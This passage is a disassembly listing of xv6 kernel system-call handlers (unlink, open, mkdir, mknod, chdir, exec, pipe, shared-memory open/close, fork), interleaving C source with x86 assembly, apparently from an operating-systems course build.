<sys_unlink+0x18a> if((ip = dirlookup(dp, name, &off)) == 0) 80104bf1: 8d 45 c4 lea -0x3c(%ebp),%eax 80104bf4: 89 5c 24 04 mov %ebx,0x4(%esp) 80104bf8: 89 44 24 08 mov %eax,0x8(%esp) 80104bfc: 89 34 24 mov %esi,(%esp) 80104bff: e8 9c cf ff ff call 80101ba0 <dirlookup> 80104c04: 85 c0 test %eax,%eax 80104c06: 89 c3 mov %eax,%ebx 80104c08: 0f 84 ec 00 00 00 je 80104cfa <sys_unlink+0x18a> ilock(ip); 80104c0e: 89 04 24 mov %eax,(%esp) 80104c11: e8 7a ca ff ff call 80101690 <ilock> if(ip->nlink < 1) 80104c16: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 80104c1b: 0f 8e 24 01 00 00 jle 80104d45 <sys_unlink+0x1d5> if(ip->type == T_DIR && !isdirempty(ip)){ 80104c21: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104c26: 8d 75 d8 lea -0x28(%ebp),%esi 80104c29: 74 7d je 80104ca8 <sys_unlink+0x138> memset(&de, 0, sizeof(de)); 80104c2b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80104c32: 00 80104c33: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80104c3a: 00 80104c3b: 89 34 24 mov %esi,(%esp) 80104c3e: e8 1d f6 ff ff call 80104260 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104c43: 8b 45 c4 mov -0x3c(%ebp),%eax 80104c46: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104c4d: 00 80104c4e: 89 74 24 04 mov %esi,0x4(%esp) 80104c52: 89 44 24 08 mov %eax,0x8(%esp) 80104c56: 8b 45 b4 mov -0x4c(%ebp),%eax 80104c59: 89 04 24 mov %eax,(%esp) 80104c5c: e8 df cd ff ff call 80101a40 <writei> 80104c61: 83 f8 10 cmp $0x10,%eax 80104c64: 0f 85 cf 00 00 00 jne 80104d39 <sys_unlink+0x1c9> if(ip->type == T_DIR){ 80104c6a: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104c6f: 0f 84 a3 00 00 00 je 80104d18 <sys_unlink+0x1a8> iunlockput(dp); 80104c75: 8b 45 b4 mov -0x4c(%ebp),%eax 80104c78: 89 04 24 mov %eax,(%esp) 80104c7b: e8 70 cc ff ff call 801018f0 <iunlockput> ip->nlink--; 80104c80: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104c85: 89 1c 24 mov %ebx,(%esp) 80104c88: e8 43 c9 ff ff call 801015d0 <iupdate> iunlockput(ip); 80104c8d: 89 1c 24 mov %ebx,(%esp) 80104c90: e8 5b cc ff ff call 801018f0 <iunlockput> end_op(); 80104c95: e8 c6 de ff ff call 80102b60 <end_op> } 80104c9a: 83 c4 5c add $0x5c,%esp return 0; 80104c9d: 31 c0 xor %eax,%eax } 80104c9f: 5b pop %ebx 80104ca0: 5e pop %esi 80104ca1: 5f pop %edi 80104ca2: 5d pop %ebp 80104ca3: c3 ret 80104ca4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80104ca8: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80104cac: 0f 86 79 ff ff ff jbe 80104c2b <sys_unlink+0xbb> 80104cb2: bf 20 00 00 00 mov $0x20,%edi 80104cb7: eb 15 jmp 80104cce <sys_unlink+0x15e> 80104cb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104cc0: 8d 57 10 lea 0x10(%edi),%edx 80104cc3: 3b 53 58 cmp 0x58(%ebx),%edx 80104cc6: 0f 83 5f ff ff ff jae 80104c2b <sys_unlink+0xbb> 80104ccc: 89 d7 mov %edx,%edi if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104cce: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104cd5: 00 80104cd6: 89 7c 24 08 mov %edi,0x8(%esp) 80104cda: 89 74 24 04 mov %esi,0x4(%esp) 80104cde: 89 1c 24 mov %ebx,(%esp) 80104ce1: e8 5a cc ff ff call 80101940 <readi> 80104ce6: 83 f8 10 cmp $0x10,%eax 80104ce9: 75 42 jne 80104d2d <sys_unlink+0x1bd> if(de.inum != 0) 80104ceb: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80104cf0: 74 ce je 80104cc0 <sys_unlink+0x150> iunlockput(ip); 80104cf2: 89 1c 24 mov %ebx,(%esp) 80104cf5: e8 f6 cb ff ff call 801018f0 <iunlockput> iunlockput(dp); 80104cfa: 8b 45 b4 mov -0x4c(%ebp),%eax 80104cfd: 89 04 24 mov %eax,(%esp) 80104d00: e8 eb cb ff ff call 801018f0 <iunlockput> end_op(); 80104d05: e8 56 de ff ff call 80102b60 <end_op> } 80104d0a: 83 c4 5c add $0x5c,%esp return -1; 80104d0d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104d12: 5b pop %ebx 80104d13: 5e pop %esi 80104d14: 5f pop %edi 80104d15: 5d pop %ebp 80104d16: c3 ret 80104d17: 90 nop dp->nlink--; 80104d18: 8b 45 b4 mov -0x4c(%ebp),%eax 80104d1b: 66 83 68 56 01 subw $0x1,0x56(%eax) iupdate(dp); 80104d20: 89 04 24 mov %eax,(%esp) 80104d23: e8 a8 c8 ff ff call 801015d0 <iupdate> 80104d28: e9 48 ff ff ff jmp 80104c75 <sys_unlink+0x105> panic("isdirempty: readi"); 80104d2d: c7 04 24 80 75 10 80 movl $0x80107580,(%esp) 80104d34: e8 27 b6 ff ff call 80100360 <panic> panic("unlink: writei"); 80104d39: c7 04 24 92 75 10 80 movl $0x80107592,(%esp) 80104d40: e8 1b b6 ff ff call 80100360 <panic> panic("unlink: nlink < 1"); 80104d45: c7 04 24 6e 75 10 80 movl $0x8010756e,(%esp) 80104d4c: e8 0f b6 ff ff call 80100360 <panic> 80104d51: eb 0d jmp 80104d60 <sys_open> 80104d53: 90 nop 80104d54: 90 nop 80104d55: 90 nop 80104d56: 90 nop 80104d57: 90 nop 80104d58: 90 nop 80104d59: 90 nop 80104d5a: 90 nop 80104d5b: 90 nop 80104d5c: 90 nop 80104d5d: 90 nop 80104d5e: 90 nop 80104d5f: 90 nop 80104d60 <sys_open>: int sys_open(void) { 80104d60: 55 push %ebp 80104d61: 89 e5 mov %esp,%ebp 80104d63: 57 push %edi 80104d64: 56 push %esi 80104d65: 53 push %ebx 80104d66: 83 ec 2c sub $0x2c,%esp char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80104d69: 8d 45 e0 lea -0x20(%ebp),%eax 80104d6c: 89 44 24 04 mov %eax,0x4(%esp) 80104d70: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104d77: e8 24 f8 ff ff call 801045a0 <argstr> 80104d7c: 85 c0 test %eax,%eax 80104d7e: 0f 88 d1 00 00 00 js 80104e55 <sys_open+0xf5> 80104d84: 8d 45 e4 lea -0x1c(%ebp),%eax 80104d87: 89 44 24 04 mov %eax,0x4(%esp) 80104d8b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104d92: e8 79 f7 ff ff call 80104510 <argint> 80104d97: 85 c0 test %eax,%eax 80104d99: 0f 88 b6 00 00 00 js 80104e55 <sys_open+0xf5> return -1; begin_op(); 80104d9f: e8 4c dd ff ff call 80102af0 <begin_op> if(omode & O_CREATE){ 80104da4: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 80104da8: 0f 85 82 00 00 00 jne 80104e30 <sys_open+0xd0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 80104dae: 8b 45 e0 mov -0x20(%ebp),%eax 80104db1: 89 04 24 mov %eax,(%esp) 80104db4: e8 27 d1 ff ff call 80101ee0 <namei> 80104db9: 85 c0 test %eax,%eax 80104dbb: 89 c6 mov %eax,%esi 80104dbd: 0f 84 8d 00 00 00 je 80104e50 <sys_open+0xf0> end_op(); return -1; } ilock(ip); 80104dc3: 89 04 24 mov %eax,(%esp) 80104dc6: e8 c5 c8 ff ff call 80101690 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80104dcb: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80104dd0: 0f 84 92 00 00 00 je 80104e68 <sys_open+0x108> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 80104dd6: e8 65 bf ff ff call 80100d40 <filealloc> 80104ddb: 85 c0 test %eax,%eax 80104ddd: 89 c3 mov %eax,%ebx 80104ddf: 0f 84 93 00 00 00 je 80104e78 <sys_open+0x118> 80104de5: e8 86 f8 ff ff call 80104670 <fdalloc> 80104dea: 85 c0 test %eax,%eax 80104dec: 89 c7 mov %eax,%edi 80104dee: 0f 88 94 00 00 00 js 80104e88 <sys_open+0x128> fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80104df4: 89 34 24 mov %esi,(%esp) 80104df7: e8 74 c9 ff ff call 80101770 <iunlock> end_op(); 80104dfc: e8 5f dd ff ff call 80102b60 <end_op> f->type = FD_INODE; 80104e01: c7 03 02 00 00 00 movl $0x2,(%ebx) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80104e07: 8b 45 e4 mov -0x1c(%ebp),%eax f->ip = ip; 80104e0a: 89 73 10 mov %esi,0x10(%ebx) f->off = 0; 80104e0d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) f->readable = !(omode & O_WRONLY); 80104e14: 89 c2 mov %eax,%edx 80104e16: 83 e2 01 and $0x1,%edx 80104e19: 83 f2 01 xor $0x1,%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104e1c: a8 03 test $0x3,%al f->readable = !(omode & O_WRONLY); 80104e1e: 88 53 08 mov %dl,0x8(%ebx) return fd; 80104e21: 89 f8 mov %edi,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104e23: 0f 95 43 09 setne 0x9(%ebx) } 80104e27: 83 c4 2c add $0x2c,%esp 80104e2a: 5b pop %ebx 80104e2b: 5e pop %esi 80104e2c: 5f pop %edi 80104e2d: 5d pop %ebp 80104e2e: c3 ret 80104e2f: 90 nop ip = create(path, T_FILE, 0, 0); 80104e30: 8b 45 e0 mov -0x20(%ebp),%eax 80104e33: 31 c9 xor %ecx,%ecx 80104e35: ba 02 00 00 00 mov $0x2,%edx 80104e3a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104e41: e8 6a f8 ff ff call 801046b0 <create> if(ip == 0){ 80104e46: 85 c0 test %eax,%eax ip = create(path, T_FILE, 0, 0); 80104e48: 89 c6 mov %eax,%esi if(ip == 0){ 80104e4a: 75 8a jne 80104dd6 <sys_open+0x76> 80104e4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80104e50: e8 0b dd ff ff call 80102b60 <end_op> } 80104e55: 83 c4 2c add $0x2c,%esp return -1; 80104e58: b8 ff ff ff ff mov $0xffffffff,%eax } 80104e5d: 5b pop %ebx 80104e5e: 5e pop %esi 80104e5f: 5f pop %edi 80104e60: 5d pop %ebp 80104e61: c3 ret 80104e62: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(ip->type == T_DIR && omode != O_RDONLY){ 80104e68: 8b 45 e4 mov -0x1c(%ebp),%eax 80104e6b: 85 c0 test %eax,%eax 80104e6d: 0f 84 63 ff ff ff je 80104dd6 <sys_open+0x76> 80104e73: 90 nop 80104e74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi iunlockput(ip); 80104e78: 89 34 24 mov %esi,(%esp) 80104e7b: e8 70 ca ff ff call 801018f0 <iunlockput> 80104e80: eb ce jmp 80104e50 <sys_open+0xf0> 80104e82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileclose(f); 80104e88: 89 1c 24 mov %ebx,(%esp) 80104e8b: e8 70 bf ff ff call 80100e00 <fileclose> 80104e90: eb e6 jmp 80104e78 <sys_open+0x118> 80104e92: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104e99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104ea0 <sys_mkdir>: int sys_mkdir(void) { 80104ea0: 55 push %ebp 80104ea1: 89 e5 mov %esp,%ebp 80104ea3: 83 ec 28 sub $0x28,%esp char *path; struct inode *ip; begin_op(); 80104ea6: e8 45 dc ff ff call 80102af0 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 80104eab: 8d 45 f4 lea -0xc(%ebp),%eax 80104eae: 89 44 24 04 mov %eax,0x4(%esp) 80104eb2: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104eb9: e8 e2 f6 ff ff call 801045a0 <argstr> 80104ebe: 85 c0 test %eax,%eax 80104ec0: 78 2e js 80104ef0 <sys_mkdir+0x50> 80104ec2: 8b 45 f4 mov -0xc(%ebp),%eax 80104ec5: 31 c9 xor %ecx,%ecx 80104ec7: ba 01 00 00 00 mov $0x1,%edx 80104ecc: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104ed3: e8 d8 f7 ff ff call 801046b0 <create> 80104ed8: 85 c0 test %eax,%eax 80104eda: 74 14 je 80104ef0 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 80104edc: 89 04 24 mov %eax,(%esp) 80104edf: e8 0c ca ff ff call 801018f0 <iunlockput> end_op(); 80104ee4: e8 77 dc ff ff call 80102b60 <end_op> return 0; 80104ee9: 31 c0 xor %eax,%eax } 80104eeb: c9 leave 80104eec: c3 ret 80104eed: 8d 76 00 lea 0x0(%esi),%esi end_op(); 80104ef0: e8 6b dc ff ff call 80102b60 <end_op> return -1; 80104ef5: b8 ff ff ff ff mov $0xffffffff,%eax } 80104efa: c9 leave 80104efb: c3 ret 80104efc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104f00 <sys_mknod>: int sys_mknod(void) { 80104f00: 55 push %ebp 80104f01: 89 e5 mov %esp,%ebp 80104f03: 83 ec 28 sub $0x28,%esp struct inode *ip; char *path; int major, minor; begin_op(); 80104f06: e8 e5 db ff ff call 80102af0 <begin_op> if((argstr(0, &path)) < 0 || 80104f0b: 8d 45 ec lea -0x14(%ebp),%eax 80104f0e: 89 44 24 04 mov %eax,0x4(%esp) 80104f12: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f19: e8 82 f6 ff ff call 801045a0 <argstr> 80104f1e: 85 c0 test %eax,%eax 80104f20: 78 5e js 80104f80 <sys_mknod+0x80> argint(1, &major) < 0 || 80104f22: 8d 45 f0 lea -0x10(%ebp),%eax 80104f25: 89 44 24 04 mov %eax,0x4(%esp) 80104f29: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104f30: e8 db f5 ff ff call 80104510 <argint> if((argstr(0, &path)) < 0 || 80104f35: 85 c0 test %eax,%eax 80104f37: 78 47 js 80104f80 <sys_mknod+0x80> argint(2, &minor) < 0 || 80104f39: 8d 45 f4 lea -0xc(%ebp),%eax 80104f3c: 89 44 24 04 mov %eax,0x4(%esp) 80104f40: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104f47: e8 c4 f5 ff ff call 80104510 <argint> argint(1, &major) < 0 || 80104f4c: 85 c0 test %eax,%eax 80104f4e: 78 30 js 80104f80 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ 80104f50: 0f bf 45 f4 movswl -0xc(%ebp),%eax argint(2, &minor) < 0 || 80104f54: ba 03 00 00 00 mov $0x3,%edx (ip = create(path, T_DEV, major, minor)) == 0){ 80104f59: 0f bf 4d f0 movswl -0x10(%ebp),%ecx 80104f5d: 89 04 24 mov %eax,(%esp) argint(2, &minor) < 0 || 80104f60: 8b 45 ec mov -0x14(%ebp),%eax 80104f63: e8 48 f7 ff ff call 801046b0 <create> 80104f68: 85 c0 test %eax,%eax 80104f6a: 74 14 je 80104f80 <sys_mknod+0x80> end_op(); return -1; } iunlockput(ip); 80104f6c: 89 04 24 mov %eax,(%esp) 80104f6f: e8 7c c9 ff ff call 801018f0 <iunlockput> end_op(); 80104f74: e8 e7 db ff ff call 80102b60 <end_op> return 0; 80104f79: 31 c0 xor %eax,%eax } 80104f7b: c9 leave 80104f7c: c3 ret 80104f7d: 8d 76 00 lea 0x0(%esi),%esi end_op(); 80104f80: e8 db db ff ff call 80102b60 <end_op> return -1; 80104f85: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f8a: c9 leave 80104f8b: c3 ret 80104f8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104f90 <sys_chdir>: int sys_chdir(void) { 80104f90: 55 push %ebp 80104f91: 89 e5 mov %esp,%ebp 80104f93: 56 push %esi 80104f94: 53 push %ebx 80104f95: 83 ec 20 sub $0x20,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 80104f98: e8 e3 e6 ff ff call 80103680 <myproc> 80104f9d: 89 c6 mov %eax,%esi begin_op(); 80104f9f: e8 4c db ff ff call 80102af0 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80104fa4: 8d 45 f4 lea -0xc(%ebp),%eax 80104fa7: 89 44 24 04 mov %eax,0x4(%esp) 80104fab: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104fb2: e8 e9 f5 ff ff call 801045a0 <argstr> 80104fb7: 85 c0 test %eax,%eax 80104fb9: 78 4a js 80105005 <sys_chdir+0x75> 80104fbb: 8b 45 f4 mov -0xc(%ebp),%eax 80104fbe: 89 04 24 mov %eax,(%esp) 80104fc1: e8 1a cf ff ff call 80101ee0 <namei> 80104fc6: 85 c0 test %eax,%eax 80104fc8: 89 c3 mov %eax,%ebx 80104fca: 74 39 je 80105005 <sys_chdir+0x75> end_op(); return -1; } ilock(ip); 80104fcc: 89 04 24 mov %eax,(%esp) 80104fcf: e8 bc c6 ff ff call 80101690 <ilock> if(ip->type != T_DIR){ 80104fd4: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) iunlockput(ip); 80104fd9: 89 1c 24 mov %ebx,(%esp) if(ip->type != T_DIR){ 80104fdc: 75 22 jne 80105000 <sys_chdir+0x70> end_op(); return -1; } iunlock(ip); 80104fde: e8 8d c7 ff ff call 80101770 <iunlock> iput(curproc->cwd); 80104fe3: 8b 46 68 mov 0x68(%esi),%eax 80104fe6: 89 04 24 mov %eax,(%esp) 80104fe9: e8 c2 c7 ff ff call 801017b0 <iput> end_op(); 80104fee: e8 6d db ff ff call 80102b60 <end_op> curproc->cwd = ip; return 0; 80104ff3: 31 c0 xor %eax,%eax curproc->cwd = ip; 80104ff5: 89 5e 68 mov %ebx,0x68(%esi) } 80104ff8: 83 c4 20 add $0x20,%esp 80104ffb: 5b pop %ebx 80104ffc: 5e pop %esi 80104ffd: 5d pop %ebp 80104ffe: c3 ret 80104fff: 90 nop iunlockput(ip); 80105000: e8 eb c8 ff ff call 801018f0 <iunlockput> end_op(); 80105005: e8 56 db ff ff call 80102b60 <end_op> } 8010500a: 83 c4 20 add $0x20,%esp return -1; 8010500d: b8 ff ff ff ff mov $0xffffffff,%eax } 80105012: 5b pop %ebx 80105013: 5e pop %esi 80105014: 5d pop %ebp 80105015: c3 ret 80105016: 8d 76 00 lea 0x0(%esi),%esi 80105019: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105020 <sys_exec>: int sys_exec(void) { 80105020: 55 push %ebp 80105021: 89 e5 mov %esp,%ebp 80105023: 57 push %edi 80105024: 56 push %esi 80105025: 53 push %ebx 80105026: 81 ec ac 00 00 00 sub $0xac,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 8010502c: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax 80105032: 89 44 24 04 mov %eax,0x4(%esp) 80105036: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010503d: e8 5e f5 ff ff call 801045a0 <argstr> 80105042: 85 c0 test %eax,%eax 80105044: 0f 88 84 00 00 00 js 801050ce <sys_exec+0xae> 8010504a: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 80105050: 89 44 24 04 mov %eax,0x4(%esp) 80105054: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8010505b: e8 b0 f4 ff ff call 80104510 <argint> 80105060: 85 c0 test %eax,%eax 80105062: 78 6a js 801050ce <sys_exec+0xae> return -1; } memset(argv, 0, sizeof(argv)); 80105064: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax for(i=0;; i++){ 8010506a: 31 db xor %ebx,%ebx memset(argv, 0, sizeof(argv)); 8010506c: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp) 80105073: 00 80105074: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi 8010507a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80105081: 00 80105082: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 80105088: 89 04 24 mov %eax,(%esp) 8010508b: e8 d0 f1 ff ff call 80104260 <memset> if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) 80105090: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 80105096: 89 7c 24 04 mov %edi,0x4(%esp) 8010509a: 8d 04 98 lea (%eax,%ebx,4),%eax 8010509d: 89 04 24 mov %eax,(%esp) 801050a0: e8 0b f4 ff ff call 801044b0 <fetchint> 801050a5: 85 c0 test %eax,%eax 801050a7: 78 25 js 801050ce <sys_exec+0xae> return -1; if(uarg == 0){ 801050a9: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 801050af: 85 c0 test %eax,%eax 801050b1: 74 2d je 801050e0 <sys_exec+0xc0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 801050b3: 89 74 24 04 mov %esi,0x4(%esp) 801050b7: 89 04 24 mov %eax,(%esp) 801050ba: e8 11 f4 ff ff call 801044d0 <fetchstr> 801050bf: 85 c0 test %eax,%eax 801050c1: 78 0b js 801050ce <sys_exec+0xae> for(i=0;; i++){ 801050c3: 83 c3 01 add $0x1,%ebx 801050c6: 83 c6 04 add $0x4,%esi if(i >= NELEM(argv)) 801050c9: 83 fb 20 cmp $0x20,%ebx 801050cc: 75 c2 jne 80105090 <sys_exec+0x70> return -1; } return exec(path, argv); } 801050ce: 81 c4 ac 00 00 00 add $0xac,%esp return -1; 801050d4: b8 ff ff ff ff mov $0xffffffff,%eax } 801050d9: 5b pop %ebx 801050da: 5e pop %esi 801050db: 5f pop %edi 801050dc: 5d pop %ebp 801050dd: c3 ret 801050de: 66 90 xchg %ax,%ax return exec(path, argv); 801050e0: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 801050e6: 89 44 24 04 mov %eax,0x4(%esp) 801050ea: 8b 85 5c ff ff ff mov -0xa4(%ebp),%eax argv[i] = 0; 801050f0: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 801050f7: 00 00 00 00 return exec(path, argv); 801050fb: 89 04 24 mov %eax,(%esp) 801050fe: e8 9d b8 ff ff call 801009a0 <exec> } 80105103: 81 c4 ac 00 00 00 add $0xac,%esp 80105109: 5b pop %ebx 8010510a: 5e pop %esi 8010510b: 5f pop %edi 8010510c: 5d pop %ebp 8010510d: c3 ret 8010510e: 66 90 xchg %ax,%ax 80105110 <sys_pipe>: int sys_pipe(void) { 80105110: 55 push %ebp 80105111: 89 e5 mov %esp,%ebp 80105113: 53 push %ebx 80105114: 83 ec 24 sub $0x24,%esp int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80105117: 8d 45 ec lea -0x14(%ebp),%eax 8010511a: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp) 80105121: 00 80105122: 89 44 24 04 mov %eax,0x4(%esp) 80105126: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010512d: e8 1e f4 ff ff call 80104550 <argptr> 80105132: 85 c0 test %eax,%eax 80105134: 78 6d js 801051a3 <sys_pipe+0x93> return -1; if(pipealloc(&rf, &wf) < 0) 80105136: 8d 45 f4 lea -0xc(%ebp),%eax 80105139: 89 44 24 04 mov %eax,0x4(%esp) 8010513d: 8d 45 f0 lea -0x10(%ebp),%eax 80105140: 89 04 24 mov %eax,(%esp) 80105143: e8 08 e0 ff ff call 80103150 <pipealloc> 80105148: 85 c0 test %eax,%eax 8010514a: 78 57 js 801051a3 <sys_pipe+0x93> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 8010514c: 8b 45 f0 mov -0x10(%ebp),%eax 8010514f: e8 1c f5 ff ff call 80104670 <fdalloc> 80105154: 85 c0 test %eax,%eax 80105156: 89 c3 mov %eax,%ebx 80105158: 78 33 js 8010518d <sys_pipe+0x7d> 8010515a: 8b 45 f4 mov -0xc(%ebp),%eax 8010515d: e8 0e f5 ff ff call 80104670 <fdalloc> 80105162: 85 c0 test %eax,%eax 80105164: 78 1a js 80105180 <sys_pipe+0x70> myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 80105166: 8b 55 ec mov -0x14(%ebp),%edx 80105169: 89 1a mov %ebx,(%edx) fd[1] = fd1; 8010516b: 8b 55 ec mov -0x14(%ebp),%edx 8010516e: 89 42 04 mov %eax,0x4(%edx) return 0; } 80105171: 83 c4 24 add $0x24,%esp return 0; 80105174: 31 c0 xor %eax,%eax } 80105176: 5b pop %ebx 80105177: 5d pop %ebp 80105178: c3 ret 80105179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi myproc()->ofile[fd0] = 0; 80105180: e8 fb e4 ff ff call 80103680 <myproc> 80105185: c7 44 98 28 00 00 00 movl $0x0,0x28(%eax,%ebx,4) 8010518c: 00 fileclose(rf); 8010518d: 8b 45 f0 mov -0x10(%ebp),%eax 80105190: 89 04 24 mov %eax,(%esp) 80105193: e8 68 bc ff ff call 80100e00 <fileclose> fileclose(wf); 80105198: 8b 45 f4 mov -0xc(%ebp),%eax 8010519b: 89 04 24 mov %eax,(%esp) 8010519e: e8 5d bc ff ff call 80100e00 <fileclose> } 801051a3: 83 c4 24 add $0x24,%esp return -1; 801051a6: b8 ff ff ff ff mov $0xffffffff,%eax } 801051ab: 5b pop %ebx 801051ac: 5d pop %ebp 801051ad: c3 ret 801051ae: 66 90 xchg %ax,%ax 801051b0 <sys_shm_open>: #include "param.h" #include "memlayout.h" #include "mmu.h" #include "proc.h" int sys_shm_open(void) { 801051b0: 55 push %ebp 801051b1: 89 e5 mov %esp,%ebp 801051b3: 83 ec 28 sub $0x28,%esp int id; char **pointer; if(argint(0, &id) < 0) 801051b6: 8d 45 f0 lea -0x10(%ebp),%eax 801051b9: 89 44 24 04 mov %eax,0x4(%esp) 801051bd: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801051c4: e8 47 f3 ff ff call 80104510 <argint> 801051c9: 85 c0 test %eax,%eax 801051cb: 78 33 js 80105200 <sys_shm_open+0x50> return -1; if(argptr(1, (char **) (&pointer),4)<0) 801051cd: 8d 45 f4 lea -0xc(%ebp),%eax 801051d0: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 801051d7: 00 801051d8: 89 44 24 04 mov %eax,0x4(%esp) 801051dc: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801051e3: e8 68 f3 ff ff call 80104550 <argptr> 801051e8: 85 c0 test %eax,%eax 801051ea: 78 14 js 80105200 <sys_shm_open+0x50> return -1; return shm_open(id, pointer); 801051ec: 8b 45 f4 mov -0xc(%ebp),%eax 801051ef: 89 44 24 04 mov %eax,0x4(%esp) 801051f3: 8b 45 f0 mov -0x10(%ebp),%eax 801051f6: 89 04 24 mov %eax,(%esp) 801051f9: e8 d2 1b 00 00 call 80106dd0 <shm_open> } 801051fe: c9 leave 801051ff: c3 ret return -1; 80105200: b8 ff ff ff ff mov $0xffffffff,%eax } 80105205: c9 leave 80105206: c3 ret 80105207: 89 f6 mov %esi,%esi 80105209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105210 <sys_shm_close>: int sys_shm_close(void) { 80105210: 55 push %ebp 80105211: 89 e5 mov %esp,%ebp 80105213: 83 ec 28 sub $0x28,%esp int id; if(argint(0, &id) < 0) 80105216: 8d 45 f4 lea -0xc(%ebp),%eax 80105219: 89 44 24 04 mov %eax,0x4(%esp) 8010521d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105224: e8 e7 f2 ff ff call 80104510 <argint> 80105229: 85 c0 test %eax,%eax 8010522b: 78 13 js 80105240 <sys_shm_close+0x30> return -1; return shm_close(id); 8010522d: 8b 45 f4 mov -0xc(%ebp),%eax 80105230: 89 04 24 mov %eax,(%esp) 80105233: e8 a8 1b 00 00 call 80106de0 <shm_close> } 80105238: c9 leave 80105239: c3 ret 8010523a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80105240: b8 ff ff ff ff mov $0xffffffff,%eax } 80105245: c9 leave 80105246: c3 ret 80105247: 89 f6 mov %esi,%esi 80105249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105250 <sys_fork>: int sys_fork(void) { 80105250: 55 push %ebp 80105251: 89 e5 mov %esp,%ebp return fork(); } 80105253: 5d pop %ebp return fork(); 80105254: e9 d7 e5 ff ff jmp 80103830 <fork> 80105259: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105260 <sys_exit>: int sys_exit(void) { 80105260: 55 push %ebp 80105261: 89 e5 mov %esp,%ebp 80105263: 83 ec 08 sub 